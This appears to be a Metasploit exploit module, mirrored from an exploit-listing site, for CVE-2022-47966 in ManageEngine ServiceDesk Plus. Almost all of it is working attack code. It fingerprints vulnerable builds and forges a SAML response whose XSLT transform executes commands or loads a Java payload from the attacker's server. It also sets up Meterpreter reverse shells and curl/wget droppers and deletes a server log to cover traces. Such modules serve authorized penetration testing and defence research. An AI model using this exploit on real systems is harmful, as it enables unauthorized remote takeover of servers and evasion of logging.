Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-MANAGEENGINE_SERVICEDESK_PLUS_SAML_RCE_CVE_2022_47966-
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::Java::HTTP::ClassLoader
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine ServiceDesk Plus Unauthenticated SAML RCE',
        'Description' => %q{
          This exploits an unauthenticated remote code execution vulnerability
          that affects Zoho ManageEngine ServiceDesk Plus versions 14003 and
          below (CVE-2022-47966). Due to a dependency to an outdated library
          (Apache Santuario version 1.4.1), it is possible to execute arbitrary
          code by providing a crafted `samlResponse` XML to the ServiceDesk Plus
          SAML endpoint. Note that the target is only vulnerable if it has been
          configured with SAML-based SSO at least once in the past, regardless of
          the current SAML-based SSO status.
        },
        'Author' => [
          'Khoa Dinh', # Original research
          'horizon3ai', # PoC
          'Christophe De La Fuente' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-47966'],
          ['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],
          ['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],
          ['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],
          ['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']
        ],
        'Platform' => ['win', 'unix', 'linux', 'java'],
        'Targets' => [
          [
            'Java (in-memory)',
            {
              'Type' => :java,
              'Platform' => 'java',
              'Arch' => ARCH_JAVA,
              'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }
            },
          ],
          [
            'Windows EXE Dropper',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :windows_dropper,
              'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' },
              'Payload' => { 'BadChars' => "\x27" }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :windows_command,
              'DefaultOptions' => { 'Payload' => 'cmd/windows/https/x64/meterpreter/reverse_tcp' },
              'Payload' => { 'BadChars' => "\x27" }
            }
          ],
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => { 'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp' },
              'Payload' => { 'BadChars' => "\x27" }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
              'CmdStagerFlavor' => %w[curl wget echo lwprequest],
              'Payload' => { 'BadChars' => "\x27" }
            }
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 8080
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-01-10',
        'Notes' => {
          'Stability' => [CRASH_SAFE,],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        },
        'Privileged' => true
      )
    )

    register_options([
      OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/SamlResponseServlet' ]),
      OptInt.new('DELAY', [ true, 'Number of seconds to wait between each request', 5 ])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(datastore['TARGETURI'])
    )
    return CheckCode::Unknown unless res

    # vulnerable servers respond with 400 and a HTML body
    return CheckCode::Safe unless res.code == 400

    script = res.get_html_document.xpath('//script[contains(text(), "BUILD_NUMBER")]')
    info = script.text.match(/PRODUCT_NAME\\x22\\x3A\\x22(?<product>.+?)\\x22,.*BUILD_NUMBER\\x22\\x3A\\x22(?<build>[0-9]+?)\\x22,/)
    return CheckCode::Unknown unless info
    unless info[:product] == 'ManageEngine\\x20ServiceDesk\\x20Plus'
      return CheckCode::Safe("This is not ManageEngine ServiceDesk Plus (#{info[:product]})")
    end

    # SAML 2.0 support has been added in build 10511
    # see https://www.manageengine.com/products/service-desk/on-premises/readme.html#readme105
    build = Rex::Version.new(info[:build])
    unless build >= Rex::Version.new('10511') && build <= Rex::Version.new('14003')
      return CheckCode::Safe("Target build is #{info[:build]}")
    end

    CheckCode::Appears
  end

  def encode_begin(real_payload, reqs)
    super

    reqs['EncapsulationRoutine'] = proc do |_reqs, raw|
      raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw
    end
  end

  def exploit
    case target['Type']
    when :java
      # Start the HTTP server to serve the payload
      start_service
      # Trigger a loadClass request via java.net.URLClassLoader
      trigger_urlclassloader
      # Handle the payload
      handler
    when :windows_command, :unix_cmd
      execute_command(payload.encoded)
    when :windows_dropper, :linux_dropper
      execute_cmdstager(delay: datastore['DELAY'])
    end
  end

  def trigger_urlclassloader
    # Here we construct a XSLT transform to load a Java payload via URLClassLoader.
    url = get_uri

    vars = Rex::RandomIdentifier::Generator.new({ language: :java })

    # stager for javascript engine
    java_stager = <<~EOS
      var #{vars[:file]} = Java.type(&quot;java.io.File&quot;);
      new #{vars[:file]}(&quot;../logs/serverout0.txt&quot;).delete();
      var #{vars[:str_arr]} = Java.type(&quot;java.lang.String[]&quot;);
      var #{vars[:c]} = new java.net.URLClassLoader([new java.net.URL(&quot;#{url}&quot;)]).loadClass(&quot;metasploit.Payload&quot;);
      #{vars[:c]}.getMethod(&quot;main&quot;, java.lang.Class.forName(&quot;[Ljava.lang.String;&quot;)).invoke(null, [new #{vars[:str_arr]}(1)]);
    EOS

    transform = <<~EOT
      <ds:Transforms>
        <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
            <xsl:stylesheet version="1.0"
            xmlns:sem="http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager"
            xmlns:se="http://xml.apache.org/xalan/java/javax.script.ScriptEngine"
            xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
            <xsl:template match="/">
                <xsl:variable name="#{vars[:engineobject]}" select="sem:new()"/>
                <xsl:variable name="#{vars[:jsobject]}" select="sem:getEngineByName($#{vars[:engineobject]},'javascript')"/>
                <xsl:variable name="#{vars[:out]}" select="se:eval($#{vars[:jsobject]},'#{java_stager}')"/>
                <xsl:value-of select="$#{vars[:out]}"/>
            </xsl:template>
            </xsl:stylesheet>
        </ds:Transform>
      </ds:Transforms>
    EOT
    send_transform(transform)
  end

  def execute_command(cmd, _opts = {})
    case target['Type']
    when :windows_dropper, :windows_command
      cmd = "cmd /c #{cmd}"
    when :unix_cmd, :linux_dropper
      cmd = cmd.gsub(' ') { '${IFS}' }
      cmd = "bash -c #{cmd}"
    end
    cmd = cmd.encode(xml: :attr).gsub('"', '')

    vars = Rex::RandomIdentifier::Generator.new({ language: :java })

    transform = <<~EOT
      <ds:Transforms>
        <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
          <xsl:stylesheet version="1.0"
            xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
            xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
            <xsl:template match="/">
              <xsl:variable name="#{vars[:rt_obj]}" select="rt:getRuntime()"/>
              <xsl:variable name="#{vars[:exec]}" select="rt:exec($#{vars[:rt_obj]},'#{cmd}')"/>
              <xsl:variable name="#{vars[:out]}" select="ob:toString($#{vars[:exec]})"/>
              <xsl:value-of select="$#{vars[:out]}"/>
            </xsl:template>
          </xsl:stylesheet>
        </ds:Transform>
      </ds:Transforms>
    EOT

    send_transform(transform)
  end

  def send_transform(transform)
    assertion_id = "_#{SecureRandom.uuid}"
    saml = <<~EOS
      <?xml version="1.0" encoding="UTF-8"?>
      <samlp:Response
        ID="_#{SecureRandom.uuid}"
        InResponseTo="_#{Rex::Text.rand_text_hex(32)}"
        IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
        <samlp:Status>
          <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
        </samlp:Status>
        <Assertion ID="#{assertion_id}"
          IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
          <Issuer>#{Rex::Text.rand_text_alphanumeric(3..10)}</Issuer>
          <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
            <ds:SignedInfo>
              <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
              <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
              <ds:Reference URI="##{assertion_id}">
                #{transform}
                <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
                <ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>
              </ds:Reference>
            </ds:SignedInfo>
            <ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue>
            <ds:KeyInfo/>
          </ds:Signature>
        </Assertion>
      </samlp:Response>
    EOS

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI']),
      'vars_post' => {
        'SAMLResponse' => Rex::Text.encode_base64(saml)
      }
    })

    # Java payload returns a nil response on successful execution of payload
    if target['Type'] == :java && res.nil?
      print_status('Exploit completed.')
    elsif res&.code != 500
      lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip)
      unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') }
        elog("Unkown error returned:\n#{lines.join("\n")}")
        fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code}). See logs for details.")
      end
      fail_with(Failure::NoAccess, 'Maximum access limit exceeded (wait at least 1 minute and increase the DELAY option value)')
    end

    res
  end

  # handle http requests from java stagers and cmd stagers differently
  def on_request_uri(cli, request)
    case target['Type']
    when :java
      super(cli, request)
    else
      client = cli.peerhost
      print_status("Client #{client} requested #{request.uri}")
      print_status("Sending payload to #{client}")
      send_response(cli, exe)
    end
  end

end